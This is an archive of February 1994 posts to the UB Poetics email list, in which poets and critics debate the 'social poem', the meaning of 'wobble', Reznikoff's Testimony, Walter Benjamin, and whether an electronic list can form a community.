Losing it before it happened... this is an experience free of conversion and which "all" have shared. How does the testamentary word transmit when what is shared (of which this testament wd be witness) is virtual? Even the phonemes of testamentary rch w/ a visceral. "...has existed only through the imagination...," which rubric finds no fit w/ these media. A network is, specifically, a set of mechnisms for conversion and reconversion, and it presumes (i.e. offers no way to question) and ignores (i.e. does not "process" in any way) all issues of status in what it finds to pick up and move. I.e. "the absence of that integrity." Does reply give an effect of commitment? or commitment show its effect in a reply. I.e. does commitment come from the reply or from the social engagement and its bindings? These, which precede both question (concern) and reply, precisely are at question on a network; the intimate laxity. All the stones seem lead across some stream but never to another side than this.

********** T O M M A N D E L ********** 2927 Tilden St. NW * Washington DC 20008 * Voice: [redacted] [redacted] FAX: [redacted] **********
From: IN%"[redacted]" "UB Poetics discussion group" 14-FEB-1 994 16:20:59.54

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40. Jed Rasula

RE: Martin Spinelli's reply framed in Error

Mon 14 Feb 1994

Reading Tom Mandel, I get to the thought:

Reply is an *affect* of commitment.

The stones always do lead to "this" side; but the word is (as the
place is) a deictic, a shifter; it locates with reference
to the "speaker"--or the keypad pusher.

Would the net (does it?) seem less metaphysically perplexing to those who grew up in rural areas and got used to telephones with party lines? (Rural electrification programs being what they were in the 30s, the USSR got Stalin & the farmbelt got party lines...) From: IN%"[redacted]" "UB Poetics discussion group" 16-FEB-1 994 05:09:44.13

↑ Index

41. Benjamin Friedlander
RE: The Wobbly Social Poem
Tue 15 Feb 1994

I want to reserve my right, as they say, to say something at a later date about the "intelligence" that reading calls upon, or substantiates. I've mentioned to Patrick already that for me the word alludes to those angelic orders which Henry Corbin says Islamic mysticism terms "intelligences." I've been reading Corbin nibblingly as a way of finding a new path into Olson's poetry, which many of us here in Buffalo are now reading for the Creeley seminar. I want to say that there's an angel of reading, and most of what is sort of stupidly accounted for as "self-reflection" really makes more sense when understood as a reading that is watched over. I want also to say that it's impossible for me to think about the so-called "social" poem without reference to its opposite. Which would be, to my mind, not the *anti*social poem (the antisocial is no less social than the law abiding), but the poem concerned with what's trans-social, trans-historical, mystical, ontological. And I think this opposition is again one that only makes sense *within* a poet's work, is not a means of categorizing the differences *between* poets. Reznikoff is an easy example of this--though not perhaps in *Testimony*--since in Judaism the trans-historical uses the historical as its referent, and Reznikoff's ideas and imagery in large part derives from Judaic sources. (See, for instance, "Jerusalem the Golden.") But Olson too is a wonderful example of the social poem giving way to its opposite, only to be rediscovered in the most improbable manifestations.

OK. I save all that for later--or rather, I offer it as a possible direction. And in the meantime I wonder just what "wobble" means. Patrick?

> *On the surface of things, like words, I "wobble out of orbit," often as a matter of course. In my wobble the terms of argument become indiscrete; however, this is not to say that this wobbling undermines my reference, nor does this wobble undermine a word's reference.*

A habit of communication. But this habit would seem to be "revolving" toward an articulation that is itself revolution. That is, the undecidability of your immediate meaning demonstrates a stance that is ultimately opposed to the immediacy of understanding which communication *seems* to depend on.

[...] My
> wobble is social, not theoretical. Its point of arrival is quite close to
> its point of departure. It would appear that this is an important point,
> one that in my book is an edge of confluence which resists
> conceptualization, but one which is constantly demanding it.

If I'm right then I would have to say your wobble is social and yet in a wholly theoretical sense--theory enacted as a social relation. Moreover, your attempts

to resist not only demand conceptualization, they can be intelligible only to the extent that we (your interlocutors) *do* conceptualize them.

Is this how poetry operates? That what poems "do" is intelligible only insofar as we accept this doing as a "saying." That what poems "say" makes invisible the fact that this saying is also a "doing." Here we return to Charles Bernstein's comment on Reznikoff about hiding in plain sight. There's a Blaser poem too that comes to mind:

THE TRUTH IS LAUGHTER

Locked out, and at the same time locked
in the look-out what perfect rose could
I say or write the Nietzschean brilliance,
who knew that *the best writers understand
form as what others consider content*

We're probably not too far either from the old "How does a poem mean?" line that I got in high school. But I too would like to write or say the perfect rose. And why has wobbling got to be so dramatic? What if this very sentence, held out to you as simply as a plucked flower, turns methodically on an axis, round some sun of meaning toward its point of origin?

Ben F.
From: IN%"[redacted]" "UB Poetics discussion group" 16-FEB-1
994 15:16:16.95

↑ Index

42. Steve Evans
the social poem: recitative
Wed 16 Feb 1994

"A reading that is watched over" (as Ben puts it) seems not a bad defin- ition of this list. It certainly revalues the participation of those, clearly the majority of subscribers, whose "presence" is otherwise referred in a more ominous direction by the term "lurking." But then, who's to say angels/intel- ligences (at least the sort whom this list is likely to attract) don't *lurk*? Rilke's did...

Culling over the thread, testing my sense of what has been said to date, I find myself thinking of Juliana's comment that "the poem is the social poem." By which Juliana might mean politely to say that "social" doesn't really advance our thinking beyond the point "poem" has already brought it to...

In which case, shifting the question to "what is testimony or struggle or opposition" seems a more generative option than the one I've noticed my own thoughts to be drifting into: i.e. placing an article before an adjective (the

social) and counting the resulting abstraction as a cognitive gain. Truth is, everything that lead me to introduce the term in my note to Patrick is lost once that abstraction has occurred.

The Jameson of *Marxism and Form* has an interesting take on why this swivel (more determined than a wobble) between concretion/abstraction might haunt our mediations on society. He notes that "society is clearly not some empirical object which we can meet and study directly in our own ex- perience: in this sense the neo-positivist criticism, which considers the idea of society an inadmissible abstract construct or a mere methodological hypothesis with no other kind of real existence, is justified. At the same time society--precisely in the form of such an impossible,suprapersonal ab- straction--is present in the form of an ultimate constraint upon every moment of our waking lives [he's clearly an optimist vis-a-vis the unconscious!]: absent, invisible, even untenable, it is at the same time the most concrete of all the realities we have to face.... (57).

That doesn't seem a bad way of parsing the problem "society" poses for thought and linking it to the one it poses for (everyday) practice.

As for poetic practice, I will tempt the anti-Adornian in Juliana only slightly by rewriting an admirable phrase from *Minima Moralia*: "you must have tradition in you to hate it properly." In the context of this discussion, I would say: the poem must have society in it to hate it properly. Against one variant of the "necessity for rewriting the language" argument Juliana mentioned, I would add: society is neither reducible to, nor even "structured like" a language.... One could, hypothetically, "hate" the structures of signification, and one could (though not without paradoxes) even practice that hatred or opposition in one's writing, but that would not be, in my definition, necessarily the same thing as "hating society prop- erly."

But to get that word, "hate," to have the inflection I want, I'll need a couple of stanzas from O'Hara:

Poem

Hate is only one of many responses
true, hurt and hate go hand in hand
but why be afraid of hate, it is only there

think of filth, is it really awesome
neither is hate
don't be shy of unkindness, either
it's cleansing and allows you to be direct
like an arrow that feels something

out and out meanness, too, lets love breathe... * The fact is that oppositional practices can stay clear of neither hate nor violence: that Reznikoff's *Testimony* admits and re-cites (while refusing to turn into arias) scene after scene of hate and violation releases us into a comportment beyond fear and amazement, beyond the "awe" that O'Hara speaks of. *Testimony* refers us not to the unmediated traumatic occurrence, but to the comportment that might make such occurrences impossible: "why be afraid of hate, it is only there"--why be afraid of hate, in other words, when the absence of our ability to respond to it is what truly is fearful?

But Benjamin said it better in 1939:

The tradition of the oppressed teaches us that the "state of emergency" in which we live is not the exception but the rule. We must attain to a con- ception of history that is in keeping with this insight. Then we shall clearly realize that it is our task to bring about a real state of emerg- ency, and this will improve our position in the struggle against Fascism. One reason why Fascism has a chance is that in the name of progress its opponents treat it as a historical norm. The current amazement that the things we are experiencing are "still" possible in the twentieth century is _not_ philosophical. This amazement is not the beginning of knowledge-- unless it is the knowledge that the view of history which gives rise to it is untenable ("Theses on the Philosophy of History").

This opens the wider question of what view of history would be tenable, and what relationship Reznikoff bears to the history he writes and the history he, albeit infinitesimally, and from within the social-structure of obscurity, helped to make.

I sure could use some help....

Steve
From: IN%"[redacted]" "UB Poetics discussion group" 16-FEB-1
994 09:34:07.87

↑ Index

43. Benjamin Friedlander
hate
Wed 16 Feb 1994

Just a quick response to Steve's post before going off to teach. The structure and value of "hate" in *Testimony* is of course utterly different than in O'Hara's work. The epigraph to the first volume, which reveals quite a bit of Reznikoff's method in this book, comes noteworthily from the New Testament:

 Let all bitterness, and wrath, and anger, and
clamour, and railing, be put away from you, with

all malice.
Ephesians IV, 31

In a book that both depicts and arouses all these feelings we are called upon to put them aside--*this* is justice, for Reznikoff. Perhaps, like Benjamin, he would say that our amazement at these stories, or at their accumulation, is not philosophical (or: judicious). Perhaps he would be curious about our amazement. Perhaps he would share it.

Amazement is just one of many responses...

Thanks for the thoughtful reprisal of how we've gotten here, Steve.

Ben F.
From: IN%"[redacted]" "UB Poetics discussion group" 16-FEB-1
994 12:14:50.21

↑ Index

44. James Sherry
RE: "Community"
Wed 16 Feb 1994

The idea of virtual community seems to be more complex than location. One interesting though oversold index of its uses is in Howard Rheingold's *Virtual Communities* or some such title. Rheingold is one of the leading journalists of the virtual reality group.

Along with the word community is the word communication, a footnote to our poetry, but another comm word. Having read our collective communications for a few weeks I wonder if there might be a recognition of epistolary form for computer terminals that will add to the commutativity of our community.

The notes in short paragraphs are a lot easier to read than the huge blocks of undifferentiated prose that remind me of someone trying to prove the opacity argument of the 1970s. And the messages that use the screen as a field communicate a lot more meaning than their lexicons.

The potential speed of responses on email can change what we say. The accuracy of messages also plaz w/ th' erasability of the matter and its speeeeeed. Layout composition play screen size spelling spin.

On Sat, 12 Feb
1994, Loss Glazier wrote:

> The idea of a listserv as constituting "community" poses problems. First,
> in that a listserv is "virtual," i.e., we are not really "there." In
> this regard, a community is almost always defined by location. Secondly,
> most definitions of community imply a sense of commitment--to take this

> further, I would say entrapment, ie, if you think of a Blue Ridge mountain
> community, most people don't have the mobility or means to move. "There"
> is fixed; its participants are fixed--for better or worse. An electronic
> list implies no commitment whatsoever: any person can unplug at any time;
> the largest percentage of any list does not participate but stands in the
> shadows examining the record of the conversation. To say that we have
> in common taking each writer's writing seriously is a kind thought. I
> hope it's true--but is no ground to call this endeavor a "community."
> (Your name, the name of the sender of the second "community" message,
> is even unknown / undecipherable.) The idea of an electronic democracy
> is probably the least tenable of these ideas, just about as true as
> an other so-called "democracy" ie, a place where people who have
> power are equal does not argue for equality for all people.
> So, what then, would we call this?
From: IN%"[redacted]" "UB Poetics discussion group" 17-FEB-1
994 13:44:31.70

↑ Index

45. Patrick Phillips
RE: The Wobbly Social Poem
Wed 16 Feb 1994

Though "wobble" has a depth which commands more attention (something I'll give when I have a little more time), now I'll just give a quick response to Ben's post before I too go off to class.

In response to your plucking of Glaser's rose, I turned to Zukofsky's *80 Flowers*.

"X"

Of thousands grown climb head-on-head
A "X" unknown stand indued
no glue kiss'd peon knee
"freesia's" iris grass-tropical tru scourge
bee earthflight magnetic north 4-native
dial-canter excellence scent one-thousandth-in
one-night "lady's-eardrops-fuschia" seaborne northeast unnailed
papyrus-bath-nut "trailing arbutus fringed-gentian hydrangea"

As we know, Zukofsky could not only name whatever plant he saw, and could follow that name through the vague maze of usage back thousands of years, but could truly course a wobble of his own making. He can also serve to throw off our compass and perhaps can help us to locate that berm we seek.

As to round which sun this flower methodically turns I can only hazard...

Patrick
From: IN%"[redacted]" "UB Poetics discussion group" 16-FEB-1
994 17:33:23.83

↑ Index

46. Charles Bernstein
from Arkadii Dragomoschenko
Thu 17 Feb 1994

--Boundary (ID 6bR7XQfMFfF8oDJV788cNA)

[Arkadii Dragomoschenko sent me this letter on the occcasion
of his dropping out of the Poetics listserv. He gave me
permission to send it on. Arkadii live in St. Petersberg.]

Date: Tue, 15 Feb 1994 11:44:15 +0300
From: "Arkadii T. Dragomoshchenko" <[redacted]>

Thank you, Charles, I think I will try to be in touch with
Joel and time to time, I hope, he will make me know what
happens there, in an electronic space of talking... To be
sure, the "problem" of community (if there exists such
problem) is rather interesting for new and new generations.
Yet, to my mind this very process of
configration/reconfiguration or - in other words -
articulation of indifferent relations in a certain pattern of
community is like "chemical" process taking its course in our
own body. The main thing, as it seems to me, lies in mutual
disposition of two perspectives: "we" in my "I" and at the
same time - "I" in this "we". The dynamic of their
intersections produces the sytax of community, this it to
say, its ideology. Meanwhile I think that the latent interest
in such question sounds as possibility of writer to form
his/her own reader, audience or at last - public, i. e - the
presence of his/her work which have constitute his/her
presence in turn... Anyway, with my best - Arkadii.

--Boundary (ID 6bR7XQfMFfF8oDJV788cNA)--
From: IN%"[redacted]" "UB Poetics discussion group" 17-FEB-1
994 21:20:36.96

↑ Index

47. Benjamin Friedlander
RE: from Arkadii Dragomoschenko
Thu 17 Feb 1994

> *[...] The main thing, as it seems to me, lies in mutual disposition of two perspectives: "we" in my "I" and at the same time - "I" in this "we". The dynamic of their intersections produces the sytax of community, this it to say, its ideology. [...]*

huh?
From: IN%"[redacted]" "UB Poetics discussion group" 18-FEB-1
994 10:40:06.46

↑ Index

48. Patrick Phillips
RE: What does "wobble" mean?
Fri 18 Feb 1994

I'd like to respond to Ben's question "just what does "wobble" mean" by trying to negotiate my way through several essays I've recently been reading.

Initially wobble was brought up by Steve in "There are words that wobble out of orbit and *do* escape having a reference." The question became for me - how does it happen that a word wobbles out of orbit and what "social evaluation" does it need to maintain some form of revolution. However, to approach this quite particular terrain without scaring off the meaning hiding there I think instead of going at the wobble through an examination of reference, it may be better to examin experience.

This week I've been looking at several texts, including Benjamin's "Some Motifs in Baudelaire" in an effort to get to some measure of experience. Something fell into place when reading and I was helped into the idea that wobble is the product of shock, I suppose a kind of violence, even a catastrophe. Not to be distracted by the cosmological metaphor, I stayed close to Benjamin's examination of Baudelaire's city. Taking a cue from Silliman's examination of the same essay, I looked for Benjamin's proposal that shock was not merely caused by something physical, something present, but by something quite absent as well. "The masses had become so much a part of Baudelair that it is rare to find a description of them in his works." But, how does something not textually evident insist, that is, "stand in" for that which is textually evident? And what about this insistence of absence is a shock?

Benjamin's discusion of the past, of tradition, (which is backgrounded much in the way the city is "backgrounded" in Baudelaire) goes hand in hand with his idea of "Erfahrung." Experience, for Benjamin, fends off shock and allows us a

sense of place and relative position, comportment. "The shock experience which the passer-by has in the crowd" is more the jostling of what is lost in the social than it is a jostling of what is there. "The jolt in the movement of a machine is like the so-called "coup" in a game of chance...Since each operation at the machine is just as screened off from the preceeding operation as a "coup" in a game of chance is from the one preceeding it...[t]he work of both is equally devoid of substance." With each "throw," each turn of the worker to the piece, experience is lost, time is lost, the past is lost, completion itself is screened off from any preceeding operation. So "wobble" here can contain the out of phase relationship with "experience" induced by the shock of being stripped to the perpetually new.

This textual play on Benjamin's part pulls the force of value into the idea of shock. Something we must have if we are to say a word wobbles. But what is the value of nothing and when does this nothing become the past so thoroughly that every thing has become so occult, so "new," so now. Adorno picks up this thread of Baudelaire in Benjamin in *Minima Moralia* #150 "Late Extra" in order to examine this newness. "Today the appeal to newness, of no matter what kind, provided only that it is archaic enough, has become universal, the omnipresent medium of false mimesis. The decomposition of the subject is consummated in his self-abandonment to an everchanging sameness. This drains all firmness from characters." (p 238) But if we are to pick up again that what is jostled in the crowd is what is "lost" *and* "there" and that the lost is shock producing, perhaps the lack of firmness in characters actually produces experience. In this case the wobble would be not false mimesis at all, but a continual production of the shock, which in Benjamin's case, constantly acts to firm up consciousness, experience. In reference to Freud's *Beyond the Pleasure Principle* Benjamin quotes "...consciousness comes into being at the site of a memory trace." Perhaps here wobble is not only the out of phase relationship with experience, but also the site of just such a trace. Of course this consciousness would constantly be coming into contact with the catastrophe of modern existence which in itself induces a fleeting, but continual hope for what is lost; the big jostle.

So wobble at the moment of the word has for me an extreme astronomy, or better, entails a diagnosis of the wakes or traces of multiple asynchronous orbits: tradition, the past, loss, consciousness of loss and presence, the catastrophic impact of Capitalism upon intimate and public spheres and in, or of these orbits, language.

The follow up in this lead to the trace will lead me inevitably to Derrida, again, probably to *Cinders*. It will urge me to re-examine ideology as an apparatus, probably in Althusser. But this (Althusser) brings to mind Simone Weil and I'll stop here with this quote and I'm not sure exactly how it fits in...

For every task, there exists a limited and small number of possible errors, some which would break the machine, others which would ruin the piece.

Patrick
From: IN%"[redacted]" "UB Poetics discussion group" 18-FEB-1
994 11:58:41.03

↑ Index

49. Charles Bernstein
from Evan Heimlich
Fri 18 Feb 1994

Date: Thu, 17 Feb 1994 14:47:38 +0000 (U)

From: Evan Heimlich <[redacted]>
Subject: Re: the heaping potential

Reply to: RE>the heaping potential

Add a teepeeing he-spoon of potential-flour,
William Least Heat Spoon and wash hands in free basin.

the heaping potential
the heaping potential
the heaping potential
the heaping potential
the heaping potential
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the heaping potential
the heaping potential

was:
Date: Sun, 13 Feb 1994 10:00:32 -0500 (EST)
: Jed <[redacted]>
Subject: Re: "Community"
In--to: Message of Sun

Howe's your community. Virtually heaping.

[redacted]

In response to the message repeated below:

Date: 2/13/94 9:20 AM
To: Evan Heimlich
From: UB Poetics discussion group

Does "community" involve companionship? Or may it simply consist of collective
anonymity? In the strictly civic sense of vernacular usage, community means
little more than the aggregate of people and activities that bring them momenta
rily together in public spaces--little league ball, traffic snarls, school
board bonds--which amounts to a collective display of the heaping potential. A
primary reason why the net increasingly seems a site for community--or at least
why most discussions on the net erupt into these speculations about community--
is because it enacts *both* the aleatory potential of the casual encounter and
the motivational tensegrity of contact: "Contact," as I recall, was the little
mag that William Carlos Williams edited, was't it?
  --Jed Rasula
From: IN%"[redacted]" "UB Poetics discussion group" 18-FEB-1
994 22:17:42.70

↑ Index

50. GENE E. HULT
wobble wobble
Fri 18 Feb 1994

Hmm... first of all, Benjamin's not totally correct re: Baudelaire's lament over the continual new. In Baudelaire's Salon Criticisms, he pushes for a sort of mixture: "the relative or circumstantial and the invaria ble or eternal: 'I defy anyone to find a single scrap of beauty which does not contain these two elements...'" Which is a point of view I find myself falling for time and again. And experience... experience may lessen the shock of some of the unknown, but it's my experience that experience leads to sightings of further absence... as in, the more we know, the more we see the parameters (or lack thereof) of what we don't understand... and that leads to a sort of perpetual wobble. When that hits language, we then get into all that buggy semiotics. When is a rose not a rose, when it's wobbling? A wobbling rose? It's all fine to point this stuff out,

but what to DO with it afterwards? How is it going to change how your put down on paper a line of your own writing? Do we paper over the gaps in language, or admit to the unknown and get caught up in that particular lament over and over? (It sure didn't help Baudelaire any... suicide is not an option.) Anybody write fiction? Because I'm having particular problems reconciling this sort of wobble with the necessary "story" in fiction... if even the words aren't to be trusted, if the metaphors are all transitory, how can we trust something as "invented" as fiction? Or is willing suspension of disbelief enough (as it is in the grocery store, where we use words for simple transactions)? From: IN %"[redacted]" "UB Poetics discussion group" 19-FEB-1 994 01:08:26.23

↑ Index

51. Patrick Phillips
RE: wobble wobble
Sat 19 Feb 1994

I don't believe I ever hint that Benjamin was entirely correct re: anything, or propose his examination as the final word. In utilizing Benjamin, I wasn't attempting to examine Baudelaire, but to use some of the tools Benjamin uses in his *Motifs* essay. To this, I think if you'll look closely you'll see that I was trying to get at a mode of experience which is an attempt to deal with the constantly absent, but to deal with that absence in a particular way--something which approaches your "perpetual wobble."

As to the Salon Criticism quote, it appears to me that often the circumstantial is often eternal in Baudelaire. This would present a problem with your analysis of my post as well as with Baudelaire.

I'm also not satisfied with Benjamin's definition of "Erlebnis" and "Erfahrung," and the parallel construct of voluntary and involuntary memory, or for that matter, of his use of memory as opposed to remeberance, [though I do have a fondness for the conjunction of, *not* the opposition of, consciousness and trace.] These "rails" running through the essay sometimes provide too clear a structuralist proposition which merely points at a possible absence. But point it does.

As to what we *do* afterwards. There is no afterwards, this comes after. This is the attendant (perhaps not so attendant) spiel. From: IN%"[redacted]" "UB Poetics discussion group" 19-FEB-1 994 02:03:53.83

↑ Index

52. Benjamin Friedlander

RE: wobble wobble

Sat 19 Feb 1994

> *It's all fine to point this stuff out, but what to DO with it afterwards? How is it going to change how your put down on paper a line of your own writing? Do we paper over the gaps in language, or admit to the unknown and get caught up in that particular lament over and over? [...]*

Begging for the moment the question of what "this stuff" is, I would answer, for myself, that a radical doubt that language ever reaches its destination, the fearful perception that words must travel a long way, across a veritable world, in order to let the past clasp hands with the future, is not a state of affairs that demands a response, but is the state of affairs our responses are born in. Papering over the gaps in language is its own lament, admitting that the unknown is there is another way of ignoring it.

> *[...] Anybody write fiction? Because I'm having particular problems reconciling this sort of wobble with the necessary "story" in fiction... if even the words aren't to be trusted, if the metaphors are all transitory, how can we trust something as "invented" as fiction?*

But isn't the question of believability an intrinsic one in any kind of narrative? Isn't the element of surprise, which the so-called "wobble" makes possible, one of the principal pleasures of fiction? I think we have a tendency to overdramatize the difficulties of language, to think that our doubts are peculiar to our own age.

On another note:

James Sherry wrote, "The notes in short paragraphs are a lot easier to read than the huge blocks of undifferentiated prose that remind me of someone trying to prove the opacity argument of the 1970s. And the messages that use the screen as a field communicate a lot more meaning than their lexicons."

Am I the only one to find this statement remarkable? The publisher of Roof Books advocating something that sounds a lot like projective verse--labelling something called "the opacity argument" a form of nostalgia!

Undifferentiated prose of any length sounds awful. Let difference bloom in the hugest blocks!

Ben Friedlander
From: IN%"[redacted]" "UB Poetics discussion group" 19-FEB-1
994 16:35:56.50

↑ Index

53. Katie Yates
RE: from Arkadii Dragomoschenko
Sat 19 Feb 1994

I am perhaps avoiding the ideological problem of this *quest*ion* of community but wish to address Arkadii's:

"mutual disposition of two perspectives: 'we' in my 'I'
'I' in my 'We'

with the following forced juxtopposition between Don Byrd & George Oppen -

In the most recent (and final) issue of NOTUS Byrd writes his essay "Sound's Domain:"
Organization or formal reality, by contrast, is
closed and circular. It is never self-present;
indeed organization only appears in consciousness
to the being which discovers that it makes the mark
which distinguishes itself as a separate identity.

Oppen quotes him own poem in a letter to Sherman Stein [late Spring '67"

Substance itself which has been the subject of all our planning And by this we are carried into the incalculable

What I wish to consider here is weight with which each man considers him, a "self." Byrd speaks of a solitary epiphany or reconcilliation of the matters of one's existence. Oppen by contrast is willing to bear the weight of human limitation with at least one other .....My interest is limited by a severe need to understand how pronouns reflect where the attention of the writer is. In all 3 of the above cases & in my own, I recognize at least some level of deliberation in how the self (I) is described in relation to other (we?) kyates From: IN %"[redacted]" "UB Poetics discussion group" 20-FEB-1 994 15:50:32.57

↑ Index

54. Tenney Nathanson
RE: What does "wobble" mean?
Sun 20 Feb 1994

As I read (or read, a few months ago, so this may be off) the Benjamin stuff on what he calls "shock defense" (a purposely awkward locution?) and the Freud metapsychology i both BPP and Inhibitions, Symptoms, and Anxiety, it seems to me perhaps to authorize instead the formulation that the text, as part of a shock defense, a parrying of the new (after all it's [hyper] conscious) is there INSTEAD of experience, instead of a memory trace (Freud) or "Erfahrung." (There's something bizarre about the metapsychology, or at least about Ben's

appropriation of it, so all this might best be taken I think as parable or trope). So the wobble might be caused by a lexical or idiomatic memory trace, submerged, out of some OTHER context? (cf. Cavell on Thoreau, or Bernstein on Cavell on Thoreau?). That is: the words I use to parry shock have another, older history, not "meant" by my use of them but trailing.... good book: Susan Buck-Morss, /The Dialectics of Seeing: Walter Benjamin and the Arcades Project/

Tenney Nathanson
(hope this posts....)
From: IN%"[redacted]" "UB Poetics discussion group" 20-FEB-1
994 15:51:03.17

↑ Index

55. Tenney Nathanson
RE: What does "wobble" mean?
Sun 20 Feb 1994

---

or, for that matter, the "trailing" history might NOT get evoked. Less wobble, perhaps, and in Jameson's system: less "modernist" and more "pomo".... unless that sense of blanking out or bleaching out, as I'd trope it, is after all akin to what others are troping as "wobble" From: IN%"[redacted]" "UB Poetics discussion group" 20-FEB-1 994 18:28:41.59

↑ Index

56. Charles Bernstein
Community and the Individual Talent
Sun 20 Feb 1994

Community and the Individual Talent

I had a number of thoughts, over these past weeks of posts, about community, but I've misplaced them.

Every time I hear the words literary community I reach for my bivalent autocad simulation card emulator.

Poetry is (or can be) an aversion of community in pursuit of new constellations of relationship.

In other words, community is as much what I am trying to get away from -- reform -- as form.

So there are a spectrum of communities, from the closed community modelled on the family, to

communities fixed by location (what might otherwise be called, for example, neighborhoods) or civic identification (the community bounding a literal and figurative commons or commonplace) or political ideology, to utopian communities that have either sought to form a new place or to remain open by refusing to be grounded by a place.

Literary communities have often been understood in terms of place -- the "local" -- as Michael Davidson writes about the emergence of a literary community on the West Coast in his book on the SF Renaissance, or in terms of scene (a local hub within a place) or group. Black Mountain remains crucial because it forged an arts community from writers and artists from many places. Most recently, the connections of writers within an ethnic, gender, or racial groups have been designated as communities. Schools or movements have not usually been called communities, although Ron Silliman, among others, have wanted to insist that a shared aesthetic project among writers in different locations can best be understood on this model of community. It's possible to speak of the "poetry community" in the sense of "the poetry world" (in the sense of "the art world") -- but such a formulation immediately suggests that arts funding agencies are nearby (more commonly, one speaks of the "small press community"). I would say "poetry communities" but this begs the questions even as it suggests relief. Many poets that I know experience poetry communities, say scenes, as places of their initital exclusion from publication, readings, recognition. Being inside, a part of, is often far less striking that being left out, apart.

Communities, defined by what they have in common -- a place, an ideal, a practice, a heritage, a tradition -- cannot immunize themselves against what they do not find common. To have a community is to make an imaginary inscription against what is outside the community. & outside is where some poetry will want to be. That is, some poetry will want to work against received ideas of place, group, ethnicity,

gender, sexuality, person, member, individuality, tradition, aesthetic tendency. One does not use collective nouns, or at least not without skepticism (if not anxiety).

Robert von Hallberg, in Culture & Value, argues for a poetry that reflects community values; this is what he calls a poetry or accommodation and also, for the U.S. in the 1970s and 80s, a suburban poetry.

I suppose it has something to do with how comfortable you feel about the confines of family or nation (fine or confining). As the critic asked the poet who had slipped on the ice and was lying in the middle of the road -- "Are you comfortable?" --"I make a good living."

(I take it Steve Evans comment in his introduction to the "Technique" in o.blek/Writing from the New Coast about his generational "hatred of identity" could also apply to a hatred of community, and perhaps that is implicit in his recent discussion of "hating society properly" and also "hating" tradition. Would this include a hatred of virtual, or for that matter unavowable, commuities? Echoing W.C. Fields famous repost to being corrected about his insistence that Jews were running the Studio --- Catholics, worst kind of Jews -- might we say: Virtual communities, worst kind of communities!?)

Any discussion of community would do well to start with the idea of institution rather than association. For the rules of our associations, one on one or one with many, is fundamentally an institutional matter (in the sense that Erving Goffman details in his many works). So that I would say the first fact about the "community" made possible through modems hooked up to mainframes that are teleconnected is that the access and protocols of this community are predetermined by the institutions that give us entry into them; for most of us on this particular list "membership" in the university "community" -- (and for the few on commercial services bearing the insignia of ".com" at the end of their e-mail addresses, they

have simply paid to have access to this already formed nexus.)

This is changing but that only makes more crucial the need to acknowledge the overlay of different institutional interests that mediate our interactions in these spaces. We don't shed old institutional habits as we inhabit new institutional spaces so much as project our old ways onto the new spaces. A great deal of sociological analysis is sure to follow us here. But it is interesting to consider, what patters of "who speaks?" in "live" group settings -- meetings, seminars -- are also present in listserv situations, which may at first appear to be free of the need to interrupt or speak up or find a temporary opening in the discussion.

For example, I will soon begin monitoring how long each of you spends online with Poetics@UBVM or whether and what you download. -- The potential for monitoring such transactions, as well as doing various forms of statistical analysis of posts and activity, is part of the medium of our communing here. Several subscribers have noted that one of us has chosen to conceal his identify from the publicly available list of subscribers; am I right to "out" Chris Funkhauser of our SUNY-Albany node?

I have set up this listserv so that anyone can subscribe and I am automatically notified, but also so that the list itself is not listed in any directories of listserves. At some point, to keep the list at a scale small enough, or "common" enough, to work, will it be worth

The idea of possibly hidden listeners is something a listserv invokes insofar as the communication is considered interpersonal, private in the way a letter is, or even a seminar or meeting; although we accept that we never know who buys our books (or checks them from the library). But perhaps the situation here is more like a performance, were we make our recits individually to an audience that is able to see one another, even if, when on stage, our view of the audience may be blocked by the kleiglights.

That, anyway, would bring to mind Rousseau's preference for public meetings over and against public spectacles (theater): the public convenes to consider its circumstance, its common needs.

What is public space and why does there seem so little of it, as if the public had become a commodity no longer in much demand, but still available for import at high prices, free trade notwithstanding? (We import it from ourselves and the tariffs are high.) So little public space, that is, so much public speactacle.

This suggests the civic values of spaces like these: not reinforcing existing communities but taking up the constitution of social space.

If I resist the idea of a literary community, while working to support the "actually existing" communities of poets among which I find myself, it is because I want to imagine reading and writing, performing and listening, as sites of conversation as much as collectivity. I want to imagine a constellation of readers who write, to and for one another, with the links always open at the end, spiralling outward -- centrifugally -- not closing in.

At one point in these parts, posts -- a message identified as from Lolpoet (Loss Glazier), echoed G.E. Moore's shaking of fists at the skeptics ("at least I know two things that are real!"): "We are physical beings, not virtual ones." My heart sank, for it is our virtuality that allows for hope. V139HLA3 (at Buffalo it is an institutional privilege to have your name be used as part of your user ID), aka Martin Spinelli, wanting to put off the idea that this space of exchange in unreal, insisted, "We are *really* here with our *real* eyes at *real* monitors" (but unfortunately no real italics): yet, my real eyes do me no good if I aspire to something else than what I see, and what I want to monitor is neither real or unreal.

So my hope for electronic communication is not that it engenders virtual communities, but rather virtual uncommunities.

-Charles Bernstein

(rest area)
From: IN%"[redacted]" "UB Poetics discussion group" 21-FEB-1
994 00:13:11.96

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57. **peter quartermain**
"Community"
Sun 20 Feb 1994

Yes. This conversation is (like the idea and institution
community) fascinating, like a snake eyeing a mouse.
"Community" is virtually undefinable [pun intended],
possibly undesirable, and ever shifting, perilous --
the more closely defined, the more closely and powerfully
an instrument of control. *Odi et amo*, then. Like
definition, it feeds on hunger.
Do not pass "Go"; and don't
forget to cut the grass (if not the mustard).
From: IN%"[redacted]" "UB Poetics discussion group" 21-FEB-1
994 00:30:59.06

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58. **Linda Reinfeld**
RE: "Community"
Mon 21 Feb 1994

Yes, chilling. The List generates Owner and Orders: IMPORTANT. Spread no information. Download and be counted. The tiger springs in the new year. Us he devours.

Or, "It's just ordinary hopelessness."

+----------+
| Linda Reinfeld [redacted] |
+----------+
From: IN%"[redacted]" "UB Poetics discussion group" 21-FEB-1
994 13:23:45.62

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59. Benjamin Friedlander
derek jarman
Mon 21 Feb 1994

Here in the anti-community chamber, the brain, the obituary watch continues. Donald Judd last week, and now this. I forward (without permission, but so it goes) the following from the derrida-list:

> *Date: Sun, 20 Feb 1994 21:28:00 +0000*
> *From: Andy Butler*

> To return to an earlier debate, I spent this afternoon watching videos
> with friends. By common consent we watched Jarman's Wittgenstein, and
> even the person who was resistant admited he enjoyed part of it. My own
> wavering between thinking it a masterpiece and flawed masterpiece moved
> further toward the masterpiece: the Wittgenstein actor excellent, Tilda
> Swinton imcomparable, Michael Gough as wachable as ever, Maynard Keynes
> entertaining. Only the rough trade Johnny stands out as unconvincing. I'd
> forgotten the importance of the Martian, and how he appears, naked, to
> speak the final words of the film.
>
> We then watched an episode of Northern Exposure, the cricket score and
> ate. Then the news announces that Derek Jarman has finally died of an HIV
